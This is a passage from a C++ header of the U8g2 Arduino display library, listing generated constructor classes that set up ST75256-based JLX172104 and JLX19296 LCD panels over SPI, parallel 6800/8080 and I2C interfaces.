u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX172104_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX172104_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX172104_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx172104_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX19296_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass 